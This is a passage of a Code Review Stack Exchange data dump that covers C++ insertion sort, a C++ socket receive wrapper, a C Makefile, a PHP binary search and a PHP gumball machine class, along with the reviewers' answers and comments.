"body": "<p>I wouldn't recommend passing and returning the vector by value. Pass by reference, and do not return at all - typically sorting is done in place anyway.</p>\n\n<p>Another generic advice: <a href=\"http://www.codestrokes.com/2013/11/sean-parent-no-raw-loops/\">no raw loops</a>. The internal loop does some important job, which has to be realized and given a proper name, <code>insert</code> perhaps.</p>\n\n<pre><code>typedef std::vector<int>::size vsize_t;\nvoid ins_sort(std::vector<int> & series)\n{\n for(vsize_t i=1; i < series.size(); i++)\n {\n insert(series, i, series[i]);\n }\n}\n\nvoid insert(std::vector<int> & series, vsize_t last, int key)\n{\n for (vsize_t j = last - 1; j > -1; --j)\n {\n if (key < series[j]) {\n series[j + 1] = series[j];\n series[j] = key;\n }\n else\n break;\n }\n}\n</code></pre>\n\n<p>Now it is possible to simplify the logic by eliminating <code>j</code>, and combining the two condition checks together:</p>\n\n<pre><code>void insert(std::vector<int> & series, vsize_t last, int key)\n{\n while ((--last > -1) && (key < series[last]))\n {\n series[last + 1] = series[last];\n series[last] = key;\n }\n}\n</code></pre>\n\n<p>You can see how the <code>series[last] = key;</code> assignment is rather redundant - it will necessarily be overwritten at the next iteration, so it only makes sense only at the last one:</p>\n\n<pre><code>void insert(std::vector<int> & series, vsize_t last, int key)\n{\n while ((--last > -1) && (key < series[last]))\n {\n series[last + 1] = series[last];\n }\n series[last] = key;\n}\n</code></pre>\n\n<p>Testing two conditions at every iteration is expensive. You may notice that the first condition only strikes if key is less than all the elements, in other words, it is less than <code>series[0]</code> (it is sorted up to the point already):</p>\n\n<pre><code>void insert(std::vector<int> & series, vsize_t last, int key)\n{\n if (key < series[0]) {\n while (last-- > 0) {\n series[last+1] = series[last];\n }\n } else {\n while (key < series[last])\n {\n series[last+1] = series[last];\n }\n }\n series[last] = key;\n}\n</code></pre>\n\n<p>and applying the rule one more time, we see that the first loop does shift right by 1, and the second does unguarded shift right by one.</p>\n\n<p>Combining everything, we are getting:</p>\n\n<pre><code>typedef std::vector<int>::size vsize_t;\nvsize_t unguarded_shift(std::vector<int> & series, vsize_t last, int key)\n{\n while (key < series[last--])\n {\n series[last + 1] = series[last];\n }\n return last;\n}\n\nvsize_t shift(std::vector<int> & series, vsize_t last)\n{\n while (last-- > 0) {\n series[last+1] = series[last];\n }\n return last;\n}\n\n\nvoid insert(std::vector<int> & series, vsize_t last, int key)\n{\n if (key < series[0]) {\n last = shift(series, last);\n } else {\n last = unguarded_shift(series, last, key);\n }\n series[last] = key;\n}\n\n\n\nvoid ins_sort(std::vector<int> & series)\n{\n for(vsize_t i=1; i < series.size(); i++)\n {\n insert(series, i, series[i])\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T01:27:47.687",
"Id": "82680",
"Score": "1",
"body": "And if you have indented code that needs another level, just place an `x` in column 1 of the first line, select all lines, hit `Control + K`, and remove the `x`. Formatting code just needs a non-whitespace character in column 1 to perform and indent by four spaces."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T00:08:15.767",
"Id": "47189",
"ParentId": "47184",
"Score": "14"
}
},
{
"body": "<p>As far as style is concerned, I would recommend using something that makes <strong>maximum use of the Standard Library</strong>, e.g. the following code in C++11</p>\n\n<pre><code>template<class FwdIt, class Compare = std::less<typename std::iterator_traits<FwdIt>::value_type>>\nvoid insertion_sort(FwdIt first, FwdIt last, Compare cmp = Compare())\n{\n for (auto it = first; it != last; ++it) {\n auto const insertion = std::upper_bound(first, it, *it, cmp);\n std::rotate(insertion, it, std::next(it));\n }\n}\n</code></pre>\n\n<p>Things to note compared to your own implementation:</p>\n\n<ul>\n<li><strong>same signature as <code>std::sort</code></strong>: two iterators and a comparison function object, this makes your algorithm usable with any container rather than just <code>std::vector</code></li>\n<li><strong>the comparison predicate used is <code>std::less</code> by default</strong>, but that can be changed by passing another function object or lambda expression: this makes your algorithm usable with more types and predicates</li>\n<li><strong>use of standard algorithms</strong>\n<ul>\n<li>it repeatedly finds the insertion point of the next element pointed to by <code>it</code> using a binary search <code>std::upper_bound</code> in the currently sorted sub-range <code>[first, it)</code>. Maybe for short input sequences, an ordinary <code>std::find</code> would give better cache locality (something to be tested).</li>\n<li>it then inserts this element at the insertion point using the <code>std::rotate</code> algorithm</li>\n</ul></li>\n<li><strong>the complexity is easy to reason about</strong>: an outer linear loop with an interior linear rotation, gives \\$O(N^2)\\$ complexity in the input range's length <code>N == std::distance(first, last)</code></li>\n</ul>\n\n<p>You could call it like this:</p>\n\n<pre><code>auto v = std::vector<int> { 4, 3, 2, 1 };\ninsertion_sort(begin(v), end(v)); // now 1, 2, 3, 4\n</code></pre>\n\n<p><a href=\"http://coliru.stacked-crooked.com/a/8ae9e7f4f8c443a4\"><strong>Live Example</strong></a>.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T12:34:11.430",
"Id": "47230",
"ParentId": "47184",
"Score": "12"
}
}
] | {
"AcceptedAnswerId": "47189",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T22:53:12.303",
"Id": "47184",
"Score": "17",
"Tags": [
"c++",
"sorting",
"insertion-sort"
],
"Title": "Insertion Sorting in C++"
} | 47184 |
<p>Currently I'm using a binary search algorithm to search an index of a tree that represents an XML file.</p>
<p>Can I use heuristics to improve the search? What can I do to improve this search function?</p>
<p>Here is my search function, in PHP, so far:</p>
<pre><code>public function search($key)
{
// split the range
$splitOffset = $this->getSplitOffset();
// search right side
$keys = $this->index->getKeyReader()->readKeys($splitOffset, self::DIRECTION_FORWARD);
$foundKey = $this->findKey($key, $keys);
// found
if (! is_null($foundKey)) {
return $foundKey;
}
// check if search should terminate
if ($this->isKeyRange($key, $keys)) {
return \reset($keys);
}
// If found keys are smaller continue in the right side
if (! empty($keys) && \end($keys)->getKey() < $key) {
$newOffset = $splitOffset + $this->index->getKeyReader()->getReadLength();
// Stop if beyond index
if ($newOffset >= $this->index->getFile()->getFileSize()) {
return \end($keys);
}
$newLength =
$this->range->getLength() - ($newOffset - $this->range->getOffset());
$this->range->setOffset($newOffset);
$this->range->setLength($newLength);
return $this->search($key);
}
// Look at the key, which lies in both sides
$centerKeyOffset = empty($keys)
? $this->range->getNextByteOffset()
: \reset($keys)->getOffset();
$keys = $this->index->getKeyReader()->readKeys($centerKeyOffset, self::DIRECTION_BACKWARD);
$foundKey = $this->findKey($key, $keys);
// found
if (! is_null($foundKey)) {
return $foundKey;
}
// terminate if no more keys in the index
if (empty($keys)) {
return null;
}
// check if search should terminate
if ($this->isKeyRange($key, $keys)) {
return \reset($keys);
}
// Finally continue searching in the left side
$newLength = \reset($keys)->getOffset() - $this->range->getOffset() - 1;
if ($newLength >= $this->range->getLength()) {
return \reset($keys);
}
$this->range->setLength($newLength);
return $this->search($key);
}
</code></pre>
<p>Perhaps not improvements to this code exactly, but how can I do heuristic, AI, or better search that is possible in PHP?</p>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T22:59:12.790",
"Id": "47185",
"Score": "1",
"Tags": [
"php",
"search",
"binary-search"
],
"Title": "Binary search with heurisitcs or something else"
} | 47185 |
<p>How can I improve the <code>string RecvData()</code> function?</p>
<pre><code>std::string Socket::RecvData() {
std::string strBuffer;
do{
char buffer;
int recvInt = recv(s_, &buffer, 1, 0);
if (recvInt == INVALID_SOCKET)
{
return "";
}
if (recvInt == SOCKET_ERROR)
{
if (errno == EAGAIN) {
return strBuffer;
}
else {
// not connected anymore
return "";
}
}
strBuffer += buffer;
if (buffer == '\n') return strBuffer;
} while (true);
}
</code></pre>
| [] | [
{
"body": "<ol>\n<li><p>Change the name. The function returns when it sees a newline, so the correct name is <code>RecvLine</code> or something similar.</p></li>\n<li><p><code>recv</code> returns -1 on any error. The way your code is structured, it would bail out without testing the <code>errno</code>.</p></li>\n<li><p>On <code>EAGAIN</code> you should not <code>return</code>, but <code>continue</code>. Also you may want to do something more intelligent on other errors, such as <code>EINTR</code>.</p></li>\n<li><p>You must account for the <code>recvInt</code> to become 0, which actually means \"not connected anymore\".</p></li>\n</ol>\n\n<p>In any case you should not abandon the data already collected, so return <code>strBuffer</code> anyway, along with some indication of the reason to return. This suggests a different interface to your method, such as <code>int RecvLine(std::string &strBuffer)</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T03:06:09.337",
"Id": "82689",
"Score": "1",
"body": "can you exaplane in code ?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T03:30:10.087",
"Id": "82691",
"Score": "3",
"body": "Agree with everything apart from the interface. An interface where you have to check for error codes is error prone (which is the problem with a lot of C interfaces). You should have an interface that is hard to misuse by the user."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T05:38:43.093",
"Id": "82704",
"Score": "0",
"body": "Let's agree to disagree. The callee doesn't have a knowledge of how/why it was called, and if it may terminate for various reason its only option is to report the reason for termination (in this case, reasons are EVERYTHING_FINE, DONE and UNRECOVERABLE_ERROR). Nobody but the caller may decide on what to do next. PS: I am more than happy to discuss problems with C interfaces, which are plenty."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T15:01:20.380",
"Id": "82777",
"Score": "0",
"body": "Returning error codes is great internally. It allows you to fix bugs there and then and you have to make sure you fix all error codes and account for them. But leaking them across your public API is a bad idea. The problem is that users of your code often forget to check for error states. A better alternative is to throw an exception. This will force application termination if there is an error that is not explicitly handled (which is what you want because if the error is not handled the application is doing something unintended and therefore probably breaking some assumptions."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T02:36:10.667",
"Id": "47195",
"ParentId": "47187",
"Score": "2"
}
},
{
"body": "<p>I'll purely suggest some changes to code structure, but as @user58697 states, you should carefully check the man page to <code>recv</code> and handle each and every error condition.</p>\n\n<p>The first thing to do is to break up the code a bit. Secondly, a lot of people prefer a single return point. The record terminator should be a defined constant.</p>\n\n<p>Capture the concepts of a valid read and the desire to discard buffered data in methods.</p>\n\n<p>Probably matching the record terminator should also really be broken out into a method.</p>\n\n<p>Also <code>recv</code> returns <code>ssize_t</code>.</p>\n\n<pre><code>class Socket\n{\npublic:\n std::string RecvData();\n static const char recordTerminator = '\\n';\nprivate:\n int s_;\n bool validRead(ssize_t recvCode);\n bool discardBuffer(ssize_t recvCode);\n\n};\nbool Socket::validRead(ssize_t recvCode)\n{\n return (recvCode != INVALID_SOCKET && recvCode != SOCKET_ERROR);\n}\nbool Socket::discardBuffer(ssize_t recvCode)\n{\n return (recvCode == INVALID_SOCKET || \n (recvCode == SOCKET_ERROR && errno != EAGAIN));\n}\nstd::string Socket::RecvData() \n{\n std::string stringRead;\n bool readMore = true;\n while(readMore)\n {\n char singleChar = 0;\n ssize_t recvInt = recv(s_, &singleChar, 1, 0);\n readMore = validRead(recvInt);\n if (readMore)\n stringRead += singleChar;\n else if (discardBuffer(recvInt))\n stringRead = \"\";\n if (readMore && (singleChar == recordTerminator))\n readMore = false; \n } \n return stringRead;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T04:17:04.567",
"Id": "82698",
"Score": "1",
"body": "By getting rid of the early returns, you've made the looping behaviour harder to understand. Early returns are generally a _good_ thing, except that it may make Return Value Optimization trickier."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T07:07:23.877",
"Id": "82714",
"Score": "1",
"body": "@200_success and in C++11 moving basically negates the problem of a potential return copy, though of course you can incur the cost of a move instead of the relatively zero cost of RVO."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T14:48:00.870",
"Id": "82772",
"Score": "1",
"body": "`Secondly, a lot of people prefer a single return point.` I think that i very old school C. C++ is designed so that multiple return points no longer causes an issue. See RAII."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T14:50:29.573",
"Id": "82773",
"Score": "0",
"body": "I don't like the `validRead()` or `discardBuffer()` they don;t add anything to the code and make following the logic harder."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T03:29:51.250",
"Id": "47198",
"ParentId": "47187",
"Score": "3"
}
},
{
"body": "<p><code>recv()</code> is a system call, which has relatively high overhead. You should avoid calling <code>recv()</code> just to read one byte at a time. Instead, read a reasonable sized buffer (something like the size of an IP packet). Your wrapper object should maintain a buffer of bytes that have been returned by a previous call to <code>recv()</code> but that have not yet been returned to the caller (bytes after a newline character).</p>\n\n<p>In implementing such a buffered interface, you would be forced to use the return value of <code>recv()</code> correctly. <code>recv()</code> returns the number of bytes read, or -1 if an error occurred. The error code is stored in the <code>errno</code> global variable, not the return value of <code>recv()</code>.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T04:41:32.193",
"Id": "47200",
"ParentId": "47187",
"Score": "6"
}
},
{
"body": "<p>I was asked if I can explain my recommendations in the code. Here it goes. Take it with a grain of salt.</p>\n\n<pre><code>int Socket::RecvLine(std::string strBuffer)\n{\n while (1) {\n char ch;\n switch(rc = recv(s_, &buffer, 1, 0)) {\n case 0: // End-of-stream, the peer closed connection\n return DONE;\n case 1: // Got something\n strBuffer += ch;\n if (ch == '\\n')\n return OK;\n break;\n case -1: // Some kind of error; the code below is just for reference.\n // Don't use it in production.\n if (errno == EINTR || errno == EAGAIN)\n continue;\n return ERROR;\n }\n }\n}\n</code></pre>\n\n<p>As <a href=\"https://codereview.stackexchange.com/users/9357/200-success\">200_success</a> mentioned, <code>recv</code> is expensive, and you really want to read as much as availabe, which means a secondary buffering is in order of the day. That's next step.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T05:23:14.043",
"Id": "47202",
"ParentId": "47187",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "47198",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T23:49:26.840",
"Id": "47187",
"Score": "6",
"Tags": [
"c++",
"socket"
],
"Title": "Optimize RecvData wrapper"
} | 47187 |
<p>This is the current Makefile that I use with my C projects. Here is what I would like to be reviewed:</p>
<ol>
<li><p><strong>Reusability</strong> - is this Makefile easy to use for multiple separate projects with minimal modification?</p></li>
<li><p><strong>Organization</strong> - is this Makefile organized in a logical and readable way?</p></li>
<li><p><strong>Dynamics</strong> - are there Make features (or compiler options/warnings) that I am not taking advantage of that could make my Makefile more powerful? </p></li>
<li><p><strong>Miscellaneous</strong> - what other things could I improve?</p></li>
</ol>
<hr>
<pre class="lang-none prettyprint-override"><code>CXX = g++-4.9
CC = gcc-4.9
DOXYGEN = doxygen
CFLAGS = -fdiagnostics-color=always -std=gnu11 -s -c -g3 -O3 -time
WARNINGS = -Werror -Wall -Wextra -pedantic-errors -Wformat=2 -Wno-import -Wimplicit -Wmain -Wchar-subscripts -Wsequence-point -Wmissing-braces -Wparentheses -Winit-self -Wswitch-enum -Wstrict-aliasing=2 -Wundef -Wshadow -Wpointer-arith -Wbad-function-cast -Wcast-qual -Wcast-align -Wwrite-strings -Wstrict-prototypes -Wold-style-definition -Wmissing-prototypes -Wmissing-declarations -Wredundant-decls -Wnested-externs -Winline -Wdisabled-optimization -Wunused-macros -Wno-unused
LDFLAGS =
LIBRARIES = -lcurl
SOURCES = main.c test.c
OBJECTS = $(SOURCES:.c=.o)
EXECUTABLE = test
all: $(SOURCES) $(EXECUTABLE)
$(EXECUTABLE): $(OBJECTS)
$(CC) $(LDFLAGS) $(OBJECTS) -o $@ $(LIBRARIES)
debug: CFLAGS += -DDEBUG -g
debug: $(SOURCES) $(EXECUTABLE)
.c.o:
$(CC) $< -o $@ $(CFLAGS) $(WARNINGS)
.PHONY: doc clean
doc:
$(DOXYGEN) doxygen.config
clean:
rm -rf $(EXECUTABLE) $(OBJECTS)
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T08:36:53.243",
"Id": "82717",
"Score": "0",
"body": "Question is why would you use and (more importantly) create by hand Makefiles? For any project that exceeds few files (and spans over more than one directory) Makefiles become very cumbersome and it seems to manage them sanely you need some other software (to i.e. generate them from some more sane description).\nI can really recommend http://www.scons.org/, way more flexible than any other build system I have ever had a chance to use. And should work on any platform that Python works on."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T09:51:57.697",
"Id": "82724",
"Score": "1",
"body": "Writing *good* Makefiles by hand is really not a simple task, *especially* when you are aiming for Reusability and Portability. I know that, when you are at the point you are at the moment, you don't want to hear about \"meta-generators\" like the one elmo suggested, but they *really* are a big help. While elmo pointed to SCONS, I familiarized myself with [CMake](http://www.cmake.org), and did put together some boilerplate of my own, named [JAWS](http://jaws.rootdirectory.de). Check it out, it does what you want (including the Doxygen part), and *much* more..."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:24:52.470",
"Id": "82750",
"Score": "0",
"body": "@DevSolar If you expanded on that a bit in an answer, that would be something that I would give an upvote, and maybe even a reward bounty (but that would have to give an in-depth explanation of some stuff `:)`)!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:57:46.917",
"Id": "82756",
"Score": "0",
"body": "@syb0rg: I'd rather work on some polish for JAWS if you don't mind. ;-) Anything specific you think is missing?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T14:07:18.310",
"Id": "82760",
"Score": "0",
"body": "@DevSolar I'm still going through it, I'm somewhat new to the world of the GNU build system. If you would join me in [our chat room](http://chat.stackexchange.com/rooms/8595/the-2nd-monitor) to talk about some stuff, that would be awesome!"
}
] | [
{
"body": "<p>Dependencies: right now your makefile will let changes in <code>.h</code> to remain unnoticed.</p>\n\n<pre><code>DEPS := $(SOURCES:.c=.d)\n\n.c.d:\n $(CC) -o $< -MM $(CFLAGS)\n\n-include $(DEPS)\n</code></pre>\n\n<p>PS: it is highly recommended to remove <code>-c</code> from CFLAGS and mention it explicitly in the <code>.c.o</code> rule.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T00:24:01.747",
"Id": "47190",
"ParentId": "47188",
"Score": "17"
}
},
{
"body": "<p>The first rule should just be</p>\n\n<pre><code>all: $(EXECUTABLE)\n</code></pre>\n\n<p>In turn, <code>$(EXECUTABLE)</code> will require <code>$(OBJECTS)</code>, and each object will require its corresponding <code>.c</code> file.</p>\n\n<p>Also, <code>all</code> should be a <code>.PHONY</code> target, since you are not actually going to produce a file named <code>all</code>.</p>\n\n<p>Both of the remarks above apply equally to the <code>debug</code> target as well.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T03:07:01.977",
"Id": "47196",
"ParentId": "47188",
"Score": "12"
}
},
{
"body": "<p>I would make source file discovery dynamic:</p>\n\n<pre><code> SOURCES = $(wildcard *.c)\n</code></pre>\n\n<p>In addition to <code>all</code> I usually add <code>debug</code> and <code>release</code> versions.</p>\n\n<pre><code>CFLAGS = -fdiagnostics-color=always -std=gnu11 -s -c -time\nall: CFLAGS += -DTYPE=ALL\ndebug: CFLAGS += -DTYPE=DEBUG -g3\nrelease: CFLAGS += -DTYPE=RELEASE -O3\n</code></pre>\n\n<p>I have a generic build file that I have all my rules built-into.</p>\n\n<p><a href=\"https://github.com/Loki-Astari/ThorMaker\">https://github.com/Loki-Astari/ThorMaker</a><br>\n<a href=\"https://github.com/Loki-Astari/ThorMaker/blob/master/tools/Makefile\">https://github.com/Loki-Astari/ThorMaker/blob/master/tools/Makefile</a></p>\n\n<p>Note: It is not perfect or great (but does what I need).<br>\nBut have a look and pull anything you need.</p>\n\n<p>This allows my actual makefiles to be very simple:</p>\n\n<pre><code># The Target I want to build\n# My generic Makefile build apps and lib based\n# on the extension extension of the target.\nTARGET = myLib.slib\n\n# Then include the Generic Makefile\n# In uses THORSANVIL_ROOT as the root of where you are\nTHORSANVIL_ROOT = $(realpath ../)\ninclude ${THORSANVIL_ROOT}/build/tools/Makefile\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T03:21:30.997",
"Id": "47197",
"ParentId": "47188",
"Score": "12"
}
}
] | {
"AcceptedAnswerId": "47197",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T00:00:02.220",
"Id": "47188",
"Score": "17",
"Tags": [
"c",
"makefile"
],
"Title": "C Makefile boilerplate"
} | 47188 |
<p>I have a few objectives (which are working fine, but I want tips in case I can improve it).</p>
<p>Let me try to make this as clear as possible, as this is a <em>much</em> larger project:</p>
<p>There are <strong>three</strong> move categories:</p>
<ul>
<li><code>Hammer</code> (10 damage)</li>
<li><code>Scythe</code> (5 damage)</li>
<li><code>Meditate</code> (0 damage)</li>
</ul>
<p>I will be having <em>hundreds of additions</em>, but these values above are <code>static</code> indefinitely. I'm trying to update a <strong>total damage count</strong>, but the kicker is that the <em>player</em> can change this <strong>move type</strong> in the middle of adding other things.</p>
<p>Essentially, I need it to display an accurate <strong>estimated damage count</strong> based on other values that will end up occurring (<em>this is entirely <strong>GUI</strong> based, I have the back-end data working</em>).</p>
<p><strong>HTML:</strong></p>
<pre><code><input type="radio" value="hammer" class="hammer" data-damage="10" name="attackTypeP1" />
<label>Hammer (10)</label>
<input type="radio" value="scythe" class="scythe" data-damage="5" name="attackTypeP1" />
<label>Scythe (5)</label>
<input type="radio" value="meditate" class="meditate" data-damage="0" name="attackTypeP1" />
<label>Meditate (0)</label>
<hr />
<input type="button" id="addDmg" value="Add Damage" />
<input type="button" id="remDmg" value="Remove Damage" />
<div>Total</div>
<div id="total">0</div>
</code></pre>
<p><strong>JS:</strong></p>
<pre><code>$(function() {
var dom = $('#total');
var total = 0;
var moveVal = 0;
$('#addDmg').on('click', function() {
total += 1;
dom.text(total + moveVal);
});
$('#remDmg').on('click', function() {
total -= 1;
dom.text(total + moveVal);
});
$(':radio').on('click', function() {
moveVal = $(this).data('damage');
dom.text(total + moveVal);
});
});
</code></pre>
<p><strong>3 questions:</strong></p>
<ol>
<li>I'm using <code>data-attr</code> via HTML to find the values. I understand it would be quicker to run this in an array or something, but if it has to traverse the DOM anyway to find out which one was selected, is there any real performance upgrade opposed to using data in HTML?</li>
<li>If these are the only radio buttons on the page, is the way I've built my <code>:radio</code> click function reasonable? Welcoming any tips you could provide if somebody else has advice to make this faster.</li>
<li>Is using a variable for <code>moveVal</code> pretty much the only way to tackle this without adding all the other additions and whatnot <strong>EVERY</strong> time?</li>
</ol>
<p>Maybe this will make more sense if I show a <a href="http://sinsysonline.com/havoc/" rel="nofollow">full demo</a>?</p>
<h3>Play: Js Fiddle: <a href="http://jsfiddle.net/epZzP/" rel="nofollow">http://jsfiddle.net/epZzP/</a></h3>
| [] | [
{
"body": "<p>Ahh, the origins of a simulator. I have always wanted to create one of those. Anyways...</p>\n\n<p>I suggest you model this all in the JS. If you follow MVC, then all data (or most of it) live in the Model, the data storage. The View would be the HTML, and all event handlers like clicks, change, hovers, live in the controller. Controller updates the model data, like add/remove damage and the view updates values when the model data changes.</p>\n\n<p>Using MVC, or a derivative, allows separation of concerns. For instance, you can easily swap HTML and avoid breaking the logic that controls actions and calculations.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T02:22:10.567",
"Id": "82685",
"Score": "0",
"body": "Well I intend to send out a JSON server test of current state every 5 seconds or if user presents submit, but this project is meant for local testing for the next 3 months."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T02:20:46.067",
"Id": "47193",
"ParentId": "47192",
"Score": "3"
}
},
{
"body": "<p>One problem I see is that <code>moveVal</code> is shared across every click, but I suspect you want to bind it to each addition so that removing it removes the approach damage. To do this you'll need to store each value with an \"added damage\" object attached to the character stats. </p>\n\n<p>In order to remove it, you need a way to find it. If the UI works like a stack (removing always undoes the previous addition), you can maintain a global array. However, global state can be quite brittle and difficult to refractor later. </p>\n\n<p>Instead, embed the UI actions either in a UI controller (look up the MVC pattern) or the character builder class itself. If the player should be able to interact with each attack type independently, you'll need to separate the actions by type. </p>\n\n<p>The best model depends heavily on your desired UI capabilities so I can't recommend one over the other without more info. </p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T02:23:05.120",
"Id": "82686",
"Score": "0",
"body": "I will eventually bind it to the user. We have 12 characters to develop. This should be local for the moment. We're just making a testing UI for the creator."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T02:27:00.367",
"Id": "82687",
"Score": "0",
"body": "@NicholasHazel You'll need to model the character-adjustment operations either way. You can make them UI actions that disappear when the character is finalized or keep them around. But you must capture that value at each step since it changes based on the operation performed and must be undone when removed."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T02:27:59.190",
"Id": "82688",
"Score": "1",
"body": "I like the idea though. Make a separate `object` for each move. I had the same idea, but I wanted to get confirmation first. Upvoted. Thank you!"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T02:21:15.953",
"Id": "47194",
"ParentId": "47192",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "47194",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T02:01:14.510",
"Id": "47192",
"Score": "3",
"Tags": [
"javascript",
"jquery",
"html",
"dom"
],
"Title": "HTML/Attrs Tester Environment"
} | 47192 |
<p>I'm planning to transition from years of forced procedural programming to OOP. I decided I'd start off small with a little gumball machine object to get my bearings. Everything seems to run ok, but I feel strange having all these globals in my class. </p>
<p>Code in action <a href="http://artfuladvection.com/project/PHPOOP/gumball/gumball.class.php">here</a>.</p>
<p>Two questions:</p>
<ol>
<li><p>Is there a way to avoid globals in my code?</p></li>
<li><p>Are there any glaring issues with the way I've used OOP to put this gumball machine together?</p></li>
</ol>
<p></p>
<pre><code><?php
/* Gumball Machine */
class gumballMachine {
/* Class Variables */
public $pricePerTurn = .25;
private $maxGumballs = 200;
private $numColors = 5;
private $estimateError = .25;
public function __construct() {
global $redGumballs;
global $blueGumballs;
global $whiteGumballs;
global $greenGumballs;
global $yellowGumballs;
global $totalGumballs;
global $iTotalGumballs;
$redGumballs = rand(1,($this->maxGumballs / $this->numColors));
$blueGumballs = rand(1,$this->maxGumballs/$this->numColors);
$whiteGumballs = rand(1,$this->maxGumballs/$this->numColors);
$greenGumballs = rand(1,$this->maxGumballs/$this->numColors);
$yellowGumballs = rand(1,$this->maxGumballs/$this->numColors);
$totalGumballs = $redGumballs+$blueGumballs+$whiteGumballs+$greenGumballs+$yellowGumballs;
$iTotalGumballs = $totalGumballs;
echo 'You walk up to a gumball machine.<br><br>';
}
public function estimateTotalGumballs() {
global $totalGumballs;
echo 'You glance at the gumball machine and guess it is about '. round(($totalGumballs/$this->maxGumballs *100+5/2)/5)*5 .'% full. You know the gumball machine can hold about '.$this->maxGumballs.' gumballs total.<br><br>';
}
public function estimateTotalColorGumballs($color) {
$color = strtolower($color);
switch ($color) {
case 'red':
global $redGumballs;
$colorGumballs = $redGumballs;
break;
case 'blue':
global $blueGumballs;
$colorGumballs = $blueGumballs;
break;
case 'white':
global $whiteGumballs;
$colorGumballs = $whiteGumballs;
break;
case 'green':
global $greenGumballs;
$colorGumballs = $greenGumballs;
break;
case 'yellow':
global $yellowGumballs;
$colorGumballs = $yellowGumballs;
break;
}
global $totalGumballs;
if ($colorGumballs == 0) {
echo "You glance at the gumball machine and don't see any ".$color." gumballs remaining. <br>";
return 0;
} elseif ($colorGumballs == 1) {
echo "You glance at the gumball machine and only see a single ".$color." gumball remaining. <br>";
return 1;
} else {
$remaining = $colorGumballs + round((rand(-1,1)) * $totalGumballs * (($colorGumballs/$totalGumballs)* $this->estimateError),0);
echo "You glance at the gumball machine and estimate there are ". $remaining ." ".$color." gumballs remaining. <br>";
return $remaining;
}
}
public function insertQuarter() {
echo '<br>You insert a quarter into the machine<br>';
}
public function twistHandle() {
echo 'You twist the gumball machine handle and a gumball is chosen.<br>';
}
public function openDoor() {
global $redGumballs;
global $blueGumballs;
global $whiteGumballs;
global $greenGumballs;
global $yellowGumballs;
global $totalGumballs;
$redSelector = $redGumballs;
$blueSelector = $redSelector+$blueGumballs;
$whiteSelector = $blueSelector+$whiteGumballs;
$greenSelector = $whiteSelector+$greenGumballs;
$yellowSelector = $greenSelector+$yellowGumballs;
$gumballSelector = rand(1,$totalGumballs);
if ($totalGumballs > 0) {
if ($gumballSelector <= $redSelector) {
echo "You open the gumball machine door and out pops a <font color=red><b>red</font></b> gumball!<br><br>";
$redGumballs--;
$totalGumballs--;
return 'red';
} elseif ($gumballSelector <= $blueSelector) {
echo "You open the gumball machine door and out pops a <font color=blue><b>blue</font></b> gumball!<br><br>";
$blueGumballs--;
$totalGumballs--;
return 'blue';
} elseif ($gumballSelector <= $whiteSelector) {
echo "You open the gumball machine door and out pops a <font color=black><b>white</font></b> gumball!<br><br>";
$whiteGumballs--;
$totalGumballs--;
return 'white';
} elseif ($gumballSelector <= $greenSelector) {
